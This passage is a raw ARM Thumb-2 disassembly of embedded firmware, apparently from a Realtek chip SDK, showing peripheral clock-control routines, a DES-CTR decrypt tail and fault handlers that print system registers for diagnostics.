47a0 blx r4 1010600c: b006 add sp, #24 1010600e: bd70 pop {r4, r5, r6, pc} 10106010: f06f 0003 mvn.w r0, #3 10106014: e7fa b.n 1010600c <rtl_crypto_des_ctr_decrypt+0x24> 10106016: bf00 nop 10106018: 100003a0 .word 0x100003a0 1010601c: 101057e9 .word 0x101057e9 10106020 <RCC_PeriphClockCmd>: 10106020: 0f8b lsrs r3, r1, #30 10106022: 2b03 cmp r3, #3 10106024: b430 push {r4, r5} 10106026: d005 beq.n 10106034 <RCC_PeriphClockCmd+0x14> 10106028: 2b02 cmp r3, #2 1010602a: d031 beq.n 10106090 <RCC_PeriphClockCmd+0x70> 1010602c: 2b01 cmp r3, #1 1010602e: d037 beq.n 101060a0 <RCC_PeriphClockCmd+0x80> 10106030: bc30 pop {r4, r5} 10106032: 4770 bx lr 10106034: f44f 7404 mov.w r4, #528 ; 0x210 10106038: 0f83 lsrs r3, r0, #30 1010603a: 2b03 cmp r3, #3 1010603c: d02d beq.n 1010609a <RCC_PeriphClockCmd+0x7a> 1010603e: 2b02 cmp r3, #2 10106040: d031 beq.n 101060a6 <RCC_PeriphClockCmd+0x86> 10106042: 2b01 cmp r3, #1 10106044: bf14 ite ne 10106046: f44f 7303 movne.w r3, #524 ; 0x20c 1010604a: f44f 7302 moveq.w r3, #520 ; 0x208 1010604e: f020 4540 bic.w r5, r0, #3221225472 ; 0xc0000000 10106052: b199 cbz r1, 1010607c <RCC_PeriphClockCmd+0x5c> 10106054: f104 4480 add.w r4, r4, #1073741824 ; 0x40000000 10106058: 2a01 cmp r2, #1 1010605a: f021 4140 bic.w r1, r1, #3221225472 ; 0xc0000000 1010605e: 6822 ldr r2, [r4, #0] 10106060: d024 beq.n 101060ac <RCC_PeriphClockCmd+0x8c> 10106062: ea22 0101 bic.w r1, r2, r1 10106066: 6021 str r1, [r4, #0] 10106068: 2800 cmp r0, #0 1010606a: d0e1 beq.n 10106030 <RCC_PeriphClockCmd+0x10> 1010606c: f103 4380 add.w r3, r3, #1073741824 ; 0x40000000 10106070: 681a ldr r2, [r3, #0] 10106072: ea22 0205 bic.w r2, r2, r5 10106076: 601a str r2, [r3, #0] 10106078: bc30 pop {r4, r5} 1010607a: 4770 bx lr 1010607c: 2800 cmp r0, #0 1010607e: d0d7 beq.n 10106030 <RCC_PeriphClockCmd+0x10> 10106080: 2a01 cmp r2, #1 10106082: d1f3 bne.n 1010606c <RCC_PeriphClockCmd+0x4c> 10106084: f103 4380 add.w r3, r3, #1073741824 ; 0x40000000 10106088: 681a ldr r2, [r3, #0] 1010608a: 432a orrs r2, r5 1010608c: 601a str r2, [r3, #0] 1010608e: e7cf b.n 10106030 <RCC_PeriphClockCmd+0x10> 10106090: 0f83 lsrs r3, r0, #30 10106092: 2b03 cmp r3, #3 10106094: f44f 7405 mov.w r4, #532 ; 0x214 10106098: d1d1 bne.n 1010603e <RCC_PeriphClockCmd+0x1e> 1010609a: f44f 7300 mov.w r3, #512 ; 0x200 1010609e: e7d6 b.n 1010604e <RCC_PeriphClockCmd+0x2e> 101060a0: f44f 7406 mov.w r4, #536 ; 0x218 101060a4: e7c8 b.n 10106038 <RCC_PeriphClockCmd+0x18> 101060a6: f44f 7301 mov.w r3, #516 ; 0x204 101060aa: e7d0 b.n 1010604e <RCC_PeriphClockCmd+0x2e> 101060ac: 4311 orrs r1, r2 101060ae: 6021 str r1, [r4, #0] 101060b0: 2800 cmp r0, #0 101060b2: d1e7 bne.n 10106084 <RCC_PeriphClockCmd+0x64> 101060b4: e7bc b.n 10106030 <RCC_PeriphClockCmd+0x10> 101060b6: bf00 nop 101060b8 <RCC_PeriphClockSource_RTC>: 101060b8: b538 push {r3, r4, r5, lr} 101060ba: b930 cbnz r0, 101060ca <RCC_PeriphClockSource_RTC+0x12> 101060bc: 4b0e ldr r3, [pc, #56] ; (101060f8 <RCC_PeriphClockSource_RTC+0x40>) 101060be: 681b ldr r3, [r3, #0] 101060c0: 4a0d ldr r2, [pc, #52] ; (101060f8 <RCC_PeriphClockSource_RTC+0x40>) 101060c2: f423 7380 bic.w r3, r3, #256 ; 0x100 101060c6: 6013 str r3, [r2, #0] 101060c8: bd38 pop {r3, r4, r5, pc} 101060ca: 4d0c ldr r5, [pc, #48] ; (101060fc <RCC_PeriphClockSource_RTC+0x44>) 101060cc: 682b ldr r3, [r5, #0] 101060ce: f423 23ff bic.w r3, r3, #522240 ; 0x7f800 101060d2: f423 63e0 bic.w r3, r3, #1792 ; 0x700 101060d6: 4a0a ldr r2, [pc, #40] ; (10106100 <RCC_PeriphClockSource_RTC+0x48>) 101060d8: f043 0401 orr.w r4, r3, #1 101060dc: 4790 blx r2 101060de: f500 4080 add.w r0, r0, #16384 ; 0x4000 101060e2: 0bc3 lsrs r3, r0, #15 101060e4: ea44 2303 orr.w r3, r4, r3, lsl #8 101060e8: 602b str r3, [r5, #0] 101060ea: 4b03 ldr r3, [pc, #12] ; (101060f8 <RCC_PeriphClockSource_RTC+0x40>) 101060ec: 681b ldr r3, [r3, #0] 101060ee: 4a02 ldr r2, [pc, #8] ; (101060f8 <RCC_PeriphClockSource_RTC+0x40>) 101060f0: f443 7380 orr.w r3, r3, #256 ; 0x100 101060f4: 6013 str r3, [r2, #0] 101060f6: bd38 pop {r3, r4, r5, pc} 101060f8: 48000004 .word 0x48000004 101060fc: 48000330 .word 0x48000330 10106100: 101044e9 .word 0x101044e9 10106104 <RCC_PeriphClockSource_I2C>: 10106104: 4b06 ldr r3, [pc, #24] ; (10106120 <RCC_PeriphClockSource_I2C+0x1c>) 10106106: 681b ldr r3, [r3, #0] 10106108: b921 cbnz r1, 10106114 <RCC_PeriphClockSource_I2C+0x10> 1010610a: 4a05 ldr r2, [pc, #20] ; (10106120 <RCC_PeriphClockSource_I2C+0x1c>) 1010610c: f423 6300 bic.w r3, r3, #2048 ; 0x800 10106110: 6013 str r3, [r2, #0] 10106112: 4770 bx lr 10106114: 4a02 ldr r2, [pc, #8] ; (10106120 <RCC_PeriphClockSource_I2C+0x1c>) 10106116: f443 6300 orr.w r3, r3, #2048 ; 0x800 1010611a: 6013 str r3, [r2, #0] 1010611c: 4770 bx lr 1010611e: bf00 nop 10106120: 48000214 .word 0x48000214 10106124 <RCC_PeriphClockSource_QDEC>: 10106124: 4b06 ldr r3, [pc, #24] ; (10106140 <RCC_PeriphClockSource_QDEC+0x1c>) 10106126: 681b ldr r3, [r3, #0] 10106128: b921 cbnz r1, 10106134 <RCC_PeriphClockSource_QDEC+0x10> 1010612a: 4a05 ldr r2, [pc, #20] ; (10106140 <RCC_PeriphClockSource_QDEC+0x1c>) 1010612c: f423 3300 bic.w r3, r3, #131072 ; 0x20000 10106130: 6013 str r3, [r2, #0] 10106132: 4770 bx lr 10106134: 4a02 ldr r2, [pc, #8] ; (10106140 <RCC_PeriphClockSource_QDEC+0x1c>) 10106136: f443 3300 orr.w r3, r3, #131072 ; 0x20000 1010613a: 6013 str r3, [r2, #0] 1010613c: 4770 bx lr 1010613e: bf00 nop 10106140: 48000214 .word 0x48000214 10106144 <RCC_PeriphClockSource_UART>: 10106144: 2902 cmp r1, #2 10106146: b538 push {r3, r4, r5, lr} 10106148: 460d mov r5, r1 1010614a: 4604 mov r4, r0 1010614c: d903 bls.n 10106156 <RCC_PeriphClockSource_UART+0x12> 1010614e: 21c2 movs r1, #194 ; 0xc2 10106150: 4815 ldr r0, [pc, #84] ; (101061a8 <RCC_PeriphClockSource_UART+0x64>) 10106152: f7fa fb8d bl 10100870 <io_assert_failed> 10106156: f1b4 2f40 cmp.w r4, #1073758208 ; 0x40004000 1010615a: d014 beq.n 10106186 <RCC_PeriphClockSource_UART+0x42> 1010615c: 4b13 ldr r3, [pc, #76] ; (101061ac <RCC_PeriphClockSource_UART+0x68>) 1010615e: 429c cmp r4, r3 10106160: d019 beq.n 10106196 <RCC_PeriphClockSource_UART+0x52> 10106162: f5a3 4380 sub.w r3, r3, #16384 ; 0x4000 10106166: 429c cmp r4, r3 10106168: d005 beq.n 10106176 <RCC_PeriphClockSource_UART+0x32> 1010616a: 21c3 movs r1, #195 ; 0xc3 1010616c: 480e ldr r0, [pc, #56] ; (101061a8 <RCC_PeriphClockSource_UART+0x64>) 1010616e: e8bd 4038 ldmia.w sp!, {r3, r4, r5, lr} 10106172: f7fa bb7d b.w 10100870 <io_assert_failed> 10106176: 4a0e ldr r2, [pc, #56] ; (101061b0 <RCC_PeriphClockSource_UART+0x6c>) 10106178: 6813 ldr r3, [r2, #0] 1010617a: f023 6340 bic.w r3, r3, #201326592 ; 0xc000000 1010617e: ea43 6585 orr.w r5, r3, r5, lsl #26 10106182: 6015 str r5, [r2, #0] 10106184: bd38 pop {r3, r4, r5, pc} 10106186: 4a0b ldr r2, [pc, #44] ; (101061b4 <RCC_PeriphClockSource_UART+0x70>) 10106188: 6813 ldr r3, [r2, #0] 1010618a: f023 0330 bic.w r3, r3, #48 ; 0x30 1010618e: ea43 1505 orr.w r5, r3, r5, lsl #4 10106192: 6015 str r5, [r2, #0] 10106194: bd38 pop {r3, r4, r5, pc} 10106196: 4a06 ldr r2, [pc, #24] ; (101061b0 <RCC_PeriphClockSource_UART+0x6c>) 10106198: 6813 ldr r3, [r2, #0] 1010619a: f023 7340 bic.w r3, r3, #50331648 ; 0x3000000 1010619e: ea43 6505 orr.w r5, r3, r5, lsl #24 101061a2: 6015 str r5, [r2, #0] 101061a4: bd38 pop {r3, r4, r5, pc} 101061a6: bf00 nop 101061a8: 101d5414 .word 0x101d5414 101061ac: 48012000 .word 0x48012000 101061b0: 48000214 .word 0x48000214 101061b4: 40000210 .word 0x40000210 101061b8 <SYSCFG_GetChipInfo>: 101061b8: 4b01 ldr r3, [pc, #4] ; (101061c0 <SYSCFG_GetChipInfo+0x8>) 101061ba: 6818 ldr r0, [r3, #0] 101061bc: 4770 bx lr 101061be: bf00 nop 101061c0: 480003f0 .word 0x480003f0 101061c4 <INT_HardFault>: 101061c4: f3ef 8008 mrs r0, MSP 101061c8: f3ef 8109 mrs r1, PSP 101061cc: 4672 mov r2, lr 101061ce: f04f 0300 mov.w r3, #0 101061d2: f1a0 0480 sub.w r4, r0, #128 ; 0x80 101061d6: f384 8808 msr MSP, r4 101061da: f8df 4934 ldr.w r4, [pc, #2356] ; 10106b10 <irq_unregister+0x1c> 101061de: 4720 bx r4 101061e0: 4770 bx lr 101061e2: bf00 nop 101061e4 <INT_MemManage>: 101061e4: f3ef 8008 mrs r0, MSP 101061e8: f3ef 8109 mrs r1, PSP 101061ec: 4672 mov r2, lr 101061ee: f04f 0303 mov.w r3, #3 101061f2: f1a0 0480 sub.w r4, r0, #128 ; 0x80 101061f6: f384 8808 msr MSP, r4 101061fa: f8df 4914 ldr.w r4, [pc, #2324] ; 10106b10 <irq_unregister+0x1c> 101061fe: 4720 bx r4 10106200: 4770 bx lr 10106202: bf00 nop 10106204 <INT_BusFault>: 10106204: f3ef 8008 mrs r0, MSP 10106208: f3ef 8109 mrs r1, PSP 1010620c: 4672 mov r2, lr 1010620e: f04f 0302 mov.w r3, #2 10106212: f1a0 0480 sub.w r4, r0, #128 ; 0x80 10106216: f384 8808 msr MSP, r4 1010621a: f8df 48f4 ldr.w r4, [pc, #2292] ; 10106b10 <irq_unregister+0x1c> 1010621e: 4720 bx r4 10106220: 4770 bx lr 10106222: bf00 nop 10106224 <INT_UsageFault>: 10106224: f3ef 8008 mrs r0, MSP 10106228: f3ef 8109 mrs r1, PSP 1010622c: 4672 mov r2, lr 1010622e: f04f 0301 mov.w r3, #1 10106232: f1a0 0480 sub.w r4, r0, #128 ; 0x80 10106236: f384 8808 msr MSP, r4 1010623a: f8df 48d4 ldr.w r4, [pc, #2260] ; 10106b10 <irq_unregister+0x1c> 1010623e: 4720 bx r4 10106240: 4770 bx lr 10106242: bf00 nop 10106244 <INT_SecureFault>: 10106244: f3ef 8008 mrs r0, MSP 10106248: f3ef 8109 mrs r1, PSP 1010624c: 4672 mov r2, lr 1010624e: f04f 0304 mov.w r3, #4 10106252: f1a0 0480 sub.w r4, r0, #128 ; 0x80 10106256: f384 8808 msr MSP, r4 1010625a: f8df 48b4 ldr.w r4, [pc, #2228] ; 10106b10 <irq_unregister+0x1c> 1010625e: 4720 bx r4 10106260: 4770 bx lr 10106262: bf00 nop 10106264 <INT_HardFault_C>: 10106264: e92d 41f0 stmdb sp!, {r4, r5, r6, r7, r8, lr} 10106268: 4e9c ldr r6, [pc, #624] ; (101064dc <INT_HardFault_C+0x278>) 1010626a: e846 f600 tt r6, r6 1010626e: 4605 mov r5, r0 10106270: 460f mov r7, r1 10106272: 4690 mov r8, r2 10106274: f3c6 5680 ubfx r6, r6, #22, #1 10106278: 4c99 ldr r4, [pc, #612] ; (101064e0 <INT_HardFault_C+0x27c>) 1010627a: 2b00 cmp r3, #0 1010627c: f040 81a0 bne.w 101065c0 <INT_HardFault_C+0x35c> 10106280: 6823 ldr r3, [r4, #0] 10106282: 0399 lsls r1, r3, #14 10106284: d45a bmi.n 1010633c <INT_HardFault_C+0xd8> 10106286: b116 cbz r6, 1010628e <INT_HardFault_C+0x2a> 10106288: 6823 ldr r3, [r4, #0] 1010628a: 0398 lsls r0, r3, #14 1010628c: d400 bmi.n 10106290 <INT_HardFault_C+0x2c> 1010628e: e7fe b.n 1010628e <INT_HardFault_C+0x2a> 10106290: f3ef 8188 mrs r1, MSP_NS 10106294: 4893 ldr r0, [pc, #588] ; (101064e4 <INT_HardFault_C+0x280>) 10106296: f7fa f8ad bl 101003f4 <DiagPrintf> 1010629a: 6823 ldr r3, [r4, #0] 1010629c: 0399 lsls r1, r3, #14 1010629e: d5f6 bpl.n 1010628e <INT_HardFault_C+0x2a> 101062a0: f3ef 8189 mrs r1, PSP_NS 101062a4: 4890 ldr r0, [pc, #576] ; (101064e8 <INT_HardFault_C+0x284>) 101062a6: f7fa f8a5 bl 101003f4 <DiagPrintf> 101062aa: 6823 ldr r3, [r4, #0] 101062ac: 039a lsls r2, r3, #14 101062ae: d5ee bpl.n 1010628e <INT_HardFault_C+0x2a> 101062b0: 4b8e ldr r3, [pc, #568] ; (101064ec <INT_HardFault_C+0x288>) 101062b2: 488f ldr r0, [pc, #572] ; (101064f0 <INT_HardFault_C+0x28c>) 101062b4: 6819 ldr r1, [r3, #0] 101062b6: f7fa f89d bl 101003f4 <DiagPrintf> 101062ba: 6823 ldr r3, [r4, #0] 101062bc: 039b lsls r3, r3, #14 101062be: d5e6 bpl.n 1010628e <INT_HardFault_C+0x2a> 101062c0: 4b8c ldr r3, [pc, #560] ; (101064f4 <INT_HardFault_C+0x290>) 101062c2: 488d ldr r0, [pc, #564] ; (101064f8 <INT_HardFault_C+0x294>) 101062c4: 6819 ldr r1, [r3, #0] 101062c6: f7fa f895 bl 101003f4 <DiagPrintf> 101062ca: 6823 ldr r3, [r4, #0] 101062cc: 039f lsls r7, r3, #14 101062ce: d5de bpl.n 1010628e <INT_HardFault_C+0x2a> 101062d0: 4b8a ldr r3, [pc, #552] ; (101064fc <INT_HardFault_C+0x298>) 101062d2: 488b ldr r0, [pc, #556] ; (10106500 <INT_HardFault_C+0x29c>) 101062d4: 6819 ldr r1, [r3, #0] 101062d6: f7fa f88d bl 101003f4 <DiagPrintf> 101062da: 6823 ldr r3, [r4, #0] 101062dc: 039e lsls r6, r3, #14 101062de: d5d6 bpl.n 1010628e <INT_HardFault_C+0x2a> 101062e0: 4b88 ldr r3, [pc, #544] ; (10106504 <INT_HardFault_C+0x2a0>) 101062e2: 4889 ldr r0, [pc, #548] ; (10106508 <INT_HardFault_C+0x2a4>) 101062e4: 6819 ldr r1, [r3, #0] 101062e6: f7fa f885 bl 101003f4 <DiagPrintf> 101062ea: 6823 ldr r3, [r4, #0] 101062ec: 039d lsls r5, r3, #14 101062ee: d5ce bpl.n 1010628e <INT_HardFault_C+0x2a> 101062f0: 4b86 ldr r3, [pc, #536] ; (1010650c <INT_HardFault_C+0x2a8>) 101062f2: 4887 ldr r0, [pc, #540] ; (10106510 <INT_HardFault_C+0x2ac>) 101062f4: 6819 ldr r1, [r3, #0] 101062f6: f7fa f87d bl 101003f4 <DiagPrintf> 101062fa: 6823 ldr r3, [r4, #0] 101062fc: 0398 lsls r0, r3, #14 101062fe: d5c6 bpl.n 1010628e <INT_HardFault_C+0x2a> 10106300: 4b84 ldr r3, [pc, #528] ; (10106514 <INT_HardFault_C+0x2b0>) 10106302: 4885 ldr r0, [pc, #532] ; (10106518 <INT_HardFault_C+0x2b4>) 10106304: 6819 ldr r1, [r3, #0] 10106306: f7fa f875 bl 101003f4 <DiagPrintf> 1010630a: 6823 ldr r3, [r4, #0] 1010630c: 0399 lsls r1, r3, #14 1010630e: d5be bpl.n 1010628e <INT_HardFault_C+0x2a> 10106310: 4b82 ldr r3, [pc, #520] ; (1010651c <INT_HardFault_C+0x2b8>) 10106312: 4883 ldr r0, [pc, #524] ; (10106520 <INT_HardFault_C+0x2bc>) 10106314: 7819 ldrb r1, [r3, #0] 10106316: f7fa f86d bl 101003f4 <DiagPrintf> 1010631a: 6823 ldr r3, [r4, #0] 1010631c: 039a lsls r2, r3, #14 1010631e: d5b6 bpl.n 1010628e <INT_HardFault_C+0x2a> 10106320: 4b80 ldr r3, [pc, #512] ; (10106524 <INT_HardFault_C+0x2c0>) 10106322: 4881 ldr r0, [pc, #516] ; (10106528 <INT_HardFault_C+0x2c4>) 10106324: 7819 ldrb r1, [r3, #0] 10106326: f7fa f865 bl 101003f4 <DiagPrintf> 1010632a: 6823 ldr r3, [r4, #0] 1010632c: 039b lsls r3, r3, #14 1010632e: d5ae bpl.n 1010628e <INT_HardFault_C+0x2a> 10106330: 4b7e ldr r3, [pc, #504] ; (1010652c <INT_HardFault_C+0x2c8>) 10106332: 487f ldr r0, [pc, #508] ; (10106530 <INT_HardFault_C+0x2cc>) 10106334: 7819 ldrb r1, [r3, #0] 10106336: f7fa f85d bl 101003f4 <DiagPrintf> 1010633a: e7a8 b.n 1010628e <INT_HardFault_C+0x2a> 1010633c: 487d ldr r0, [pc, #500] ; (10106534 <INT_HardFault_C+0x2d0>) 1010633e: f7fa f859 bl 101003f4 <DiagPrintf> 10106342: 6823 ldr r3, [r4, #0] 10106344: 039b lsls r3, r3, #14 10106346: d59e bpl.n 10106286 <INT_HardFault_C+0x22> 10106348: 4631 mov r1, r6 1010634a: 487b ldr r0, [pc, #492] ; (10106538 <INT_HardFault_C+0x2d4>) 1010634c: f7fa f852 bl 101003f4 <DiagPrintf> 10106350: 6823 ldr r3, [r4, #0] 10106352: 0398 lsls r0, r3, #14 10106354: d597 bpl.n 10106286 <INT_HardFault_C+0x22> 10106356: 4879 ldr r0, [pc, #484] ; (1010653c <INT_HardFault_C+0x2d8>) 10106358: f7fa f84c bl 101003f4 <DiagPrintf> 1010635c: 6823 ldr r3, [r4, #0] 1010635e: 0399 lsls r1, r3, #14 10106360: d591 bpl.n 10106286 <INT_HardFault_C+0x22> 10106362: 6829 ldr r1, [r5, #0] 10106364: 4876 ldr r0, [pc, #472] ; (10106540 <INT_HardFault_C+0x2dc>) 10106366: f7fa f845 bl 101003f4 <DiagPrintf> 1010636a: 6823 ldr r3, [r4, #0] 1010636c: 039a lsls r2, r3, #14 1010636e: d58a bpl.n 10106286 <INT_HardFault_C+0x22> 10106370: 6869 ldr r1, [r5, #4] 10106372: 4874 ldr r0, [pc, #464] ; (10106544 <INT_HardFault_C+0x2e0>) 10106374: f7fa f83e bl 101003f4 <DiagPrintf> 10106378: 6823 ldr r3, [r4, #0] 1010637a: 039b lsls r3, r3, #14 1010637c: d583 bpl.n 10106286 <INT_HardFault_C+0x22> 1010637e: 68a9 ldr r1, [r5, #8] 10106380: 4871 ldr r0, [pc, #452] ; (10106548 <INT_HardFault_C+0x2e4>) 10106382: f7fa f837 bl 101003f4 <DiagPrintf> 10106386: 6823 ldr r3, [r4, #0] 10106388: 0398 lsls r0, r3, #14 1010638a: f57f af7c bpl.w 10106286 <INT_HardFault_C+0x22> 1010638e: 68e9 ldr r1, [r5, #12] 10106390: 486e ldr r0, [pc, #440] ; (1010654c <INT_HardFault_C+0x2e8>) 10106392: f7fa f82f bl 101003f4 <DiagPrintf> 10106396: 6823 ldr r3, [r4, #0] 10106398: 0399 lsls r1, r3, #14 1010639a: f57f af74 bpl.w 10106286 <INT_HardFault_C+0x22> 1010639e: 6929 ldr r1, [r5, #16] 101063a0: 486b ldr r0, [pc, #428] ; (10106550 <INT_HardFault_C+0x2ec>) 101063a2: f7fa f827 bl 101003f4 <DiagPrintf> 101063a6: 6823 ldr r3, [r4, #0] 101063a8: 039a lsls r2, r3, #14 101063aa: f57f af6c bpl.w 10106286 <INT_HardFault_C+0x22> 101063ae: 6969 ldr r1, [r5, #20] 101063b0: 4868 ldr r0, [pc, #416] ; (10106554 <INT_HardFault_C+0x2f0>) 101063b2: f7fa f81f bl 101003f4 <DiagPrintf> 101063b6: 6823 ldr r3, [r4, #0] 101063b8: 039b lsls r3, r3, #14 101063ba: f57f af64 bpl.w 10106286 <INT_HardFault_C+0x22> 101063be: 69a9 ldr r1, [r5, #24] 101063c0: 4865 ldr r0, [pc, #404] ; (10106558 <INT_HardFault_C+0x2f4>) 101063c2: f7fa f817 bl 101003f4 <DiagPrintf> 101063c6: 6823 ldr r3, [r4, #0] 101063c8: 0398 lsls r0, r3, #14 101063ca: f57f af5c bpl.w 10106286 <INT_HardFault_C+0x22> 101063ce: 69e9 ldr r1, [r5, #28] 101063d0: 4862 ldr r0, [pc, #392] ; (1010655c <INT_HardFault_C+0x2f8>) 101063d2: f7fa f80f bl 101003f4 <DiagPrintf> 101063d6: 6823 ldr r3, [r4, #0] 101063d8: 0399 lsls r1, r3, #14 101063da: f57f af54 bpl.w 10106286 <INT_HardFault_C+0x22> 101063de: 4860 ldr r0, [pc, #384] ; (10106560 <INT_HardFault_C+0x2fc>) 101063e0: f7fa f808 bl 101003f4 <DiagPrintf> 101063e4: 6823 ldr r3, [r4, #0] 101063e6: 039a lsls r2, r3, #14 101063e8: f57f af4d bpl.w 10106286 <INT_HardFault_C+0x22> 101063ec: 4641 mov r1, r8 101063ee: 485d ldr r0, [pc, #372] ; (10106564 <INT_HardFault_C+0x300>) 101063f0: f7fa f800 bl 101003f4 <DiagPrintf> 101063f4: 6823 ldr r3, [r4, #0] 101063f6: 039b lsls r3, r3, #14 101063f8: f57f af45 bpl.w 10106286 <INT_HardFault_C+0x22> 101063fc: 4629 mov r1, r5 101063fe: 485a ldr r0, [pc, #360] ; (10106568 <INT_HardFault_C+0x304>) 10106400: f7f9 fff8 bl 101003f4 <DiagPrintf> 10106404: 6823 ldr r3, [r4, #0] 10106406: 0398 lsls r0, r3, #14 10106408: f57f af3d bpl.w 10106286 <INT_HardFault_C+0x22> 1010640c: 4639 mov r1, r7 1010640e: 4857 ldr r0, [pc, #348] ; (1010656c <INT_HardFault_C+0x308>) 10106410: f7f9 fff0 bl 101003f4 <DiagPrintf> 10106414: 6823 ldr r3, [r4, #0] 10106416: 0399 lsls r1, r3, #14 10106418: f57f af35 bpl.w 10106286 <INT_HardFault_C+0x22> 1010641c: f3ef 8103 mrs r1, PSR 10106420: 4853 ldr r0, [pc, #332] ; (10106570 <INT_HardFault_C+0x30c>) 10106422: f7f9 ffe7 bl 101003f4 <DiagPrintf> 10106426: 6823 ldr r3, [r4, #0] 10106428: 039a lsls r2, r3, #14 1010642a: f57f af2c bpl.w 10106286 <INT_HardFault_C+0x22> 1010642e: 4b51 ldr r3, [pc, #324] ; (10106574 <INT_HardFault_C+0x310>) 10106430: 4851 ldr r0, [pc, #324] ; (10106578 <INT_HardFault_C+0x314>) 10106432: 6819 ldr r1, [r3, #0] 10106434: f7f9 ffde bl 101003f4 <DiagPrintf> 10106438: 6823 ldr r3, [r4, #0] 1010643a: 039b lsls r3, r3, #14 1010643c: f57f af23 bpl.w 10106286 <INT_HardFault_C+0x22> 10106440: 4b4e ldr r3, [pc, #312] ; (1010657c <INT_HardFault_C+0x318>) 10106442: 484f ldr r0, [pc, #316] ; (10106580 <INT_HardFault_C+0x31c>) 10106444: 6819 ldr r1, [r3, #0] 10106446: f7f9 ffd5 bl 101003f4 <DiagPrintf> 1010644a: 6823 ldr r3, [r4, #0] 1010644c: 039f lsls r7, r3, #14 1010644e: f57f af1a bpl.w 10106286 <INT_HardFault_C+0x22> 10106452: 4b4c ldr r3, [pc, #304] ; (10106584 <INT_HardFault_C+0x320>) 10106454: 484c ldr r0, [pc, #304] ; (10106588 <INT_HardFault_C+0x324>) 10106456: 6819 ldr r1, [r3, #0] 10106458: f7f9 ffcc bl 101003f4 <DiagPrintf> 1010645c: 6823 ldr r3, [r4, #0] 1010645e: 039d lsls r5, r3, #14 10106460: f57f af11 bpl.w 10106286 <INT_HardFault_C+0x22> 10106464: 4b49 ldr r3, [pc, #292] ; (1010658c <INT_HardFault_C+0x328>) 10106466: 484a ldr r0, [pc, #296] ; (10106590 <INT_HardFault_C+0x32c>) 10106468: 6819 ldr r1, [r3, #0] 1010646a: f7f9 ffc3 bl 101003f4 <DiagPrintf> 1010646e: 6823 ldr r3, [r4, #0] 10106470: 0398 lsls r0, r3, #14 10106472: f57f af08 bpl.w 10106286 <INT_HardFault_C+0x22> 10106476: 4b47 ldr r3, [pc, #284] ; (10106594 <INT_HardFault_C+0x330>) 10106478: 4847 ldr r0, [pc, #284] ; (10106598 <INT_HardFault_C+0x334>) 1010647a: 6819 ldr r1, [r3, #0] 1010647c: f7f9 ffba bl 101003f4 <DiagPrintf> 10106480: 6823 ldr r3, [r4, #0] 10106482: 0399 lsls r1, r3, #14 10106484: f57f aeff bpl.w 10106286 <INT_HardFault_C+0x22> 10106488: 4b44 ldr r3, [pc, #272] ; (1010659c <INT_HardFault_C+0x338>) 1010648a: 4845 ldr r0, [pc, #276] ; (101065a0 <INT_HardFault_C+0x33c>) 1010648c: 6819 ldr r1, [r3, #0] 1010648e: f7f9 ffb1 bl 101003f4 <DiagPrintf> 10106492: 6823 ldr r3, [r4, #0] 10106494: 039a lsls r2, r3, #14 10106496: f57f aef6 bpl.w 10106286 <INT_HardFault_C+0x22> 1010649a: f3ef 8110 mrs r1, PRIMASK 1010649e: 4841 ldr r0, [pc, #260] ; (101065a4 <INT_HardFault_C+0x340>) 101064a0: f7f9 ffa8 bl 101003f4 <DiagPrintf> 101064a4: 6823 ldr r3, [r4, #0] 101064a6: 039b lsls r3, r3, #14 101064a8: f57f aeed bpl.w 10106286 <INT_HardFault_C+0x22> 101064ac: 4b3e ldr r3, [pc, #248] ; (101065a8 <INT_HardFault_C+0x344>) 101064ae: 483f ldr r0, [pc, #252] ; (101065ac <INT_HardFault_C+0x348>) 101064b0: 7819 ldrb r1, [r3, #0] 101064b2: f7f9 ff9f bl 101003f4 <DiagPrintf> 101064b6: 6823 ldr r3, [r4, #0] 101064b8: 039f lsls r7, r3, #14 101064ba: f57f aee4 bpl.w 10106286 <INT_HardFault_C+0x22> 101064be: 4b3c ldr r3, [pc, #240] ; (101065b0 <INT_HardFault_C+0x34c>) 101064c0: 483c ldr r0, [pc, #240] ; (101065b4 <INT_HardFault_C+0x350>) 101064c2: 7819 ldrb r1, [r3, #0] 101064c4: f7f9 ff96 bl 101003f4 <DiagPrintf> 101064c8: 6823 ldr r3, [r4, #0] 101064ca: 039d lsls r5, r3, #14 101064cc: f57f aedb bpl.w 10106286 <INT_HardFault_C+0x22> 101064d0: 4b39 ldr r3, [pc, #228] ; (101065b8 <INT_HardFault_C+0x354>) 101064d2: 483a ldr r0, [pc, #232] ; (101065bc <INT_HardFault_C+0x358>) 101064d4: 7819 ldrb r1, [r3, #0] 101064d6: f7f9 ff8d bl 101003f4 <DiagPrintf> 101064da: e6d4 b.n 10106286 <INT_HardFault_C+0x22> 101064dc: 10106265 .word 0x10106265 101064e0: 1000000c .word 0x1000000c 101064e4: 101d4df4 .word 0x101d4df4 101064e8: 101d4e08 .word 0x101d4e08 101064ec: e002ed28 .word 0xe002ed28 101064f0: 101d4e1c .word 0x101d4e1c 101064f4: e002ed2c .word 0xe002ed2c 101064f8: 101d4e34 .word 0x101d4e34 101064fc: e002ed30 .word 0xe002ed30 10106500: 101d4e4c .word 0x101d4e4c 10106504: e002ed34 .word 0xe002ed34 10106508: 101d4e64 .word 0x101d4e64 1010650c: e002ed38 .word 0xe002ed38 10106510: 101d4e7c .word 0x101d4e7c 10106514: e002ed3c .word 0xe002ed3c 10106518: 101d4e94 .word 0x101d4e94 1010651c: e002ed1f .word 0xe002ed1f 10106520: 101d4eac .word 0x101d4eac 10106524: e002ed22 .word 0xe002ed22 10106528: 101d4ec8 .word 0x101d4ec8 1010652c: e002ed23 .word 0xe002ed23 10106530: 101d4ee8 .word 0x101d4ee8 10106534: 101d4b90 .word 0x101d4b90 10106538: 101d4c18 .word 0x101d4c18 1010653c: 101d4c2c .word 0x101d4c2c 10106540: 101d4c3c .word 0x101d4c3c 10106544: 101d4c4c .word 0x101d4c4c 10106548: 101d4c5c .word 0x101d4c5c 1010654c: 101d4c6c .word 0x101d4c6c 10106550: 101d4c7c .word 0x101d4c7c 10106554: 101d4c8c .word 0x101d4c8c 10106558: 101d4c9c .word 0x101d4c9c 1010655c: 101d4cac .word 0x101d4cac 10106560: 101d4cbc .word 0x101d4cbc 10106564: 101d4ccc .word 0x101d4ccc 10106568: 101d4ce4 .word 0x101d4ce4 1010656c: 101d4cf4 .word 0x101d4cf4 10106570: 101d4d04 .word 0x101d4d04 10106574: e000ed28 .word 0xe000ed28 10106578: 101d4d18 .word 0x101d4d18 1010657c: e000ed2c .word 0xe000ed2c 10106580: 101d4d2c .word 0x101d4d2c 10106584: e000ed30 .word 0xe000ed30 10106588: 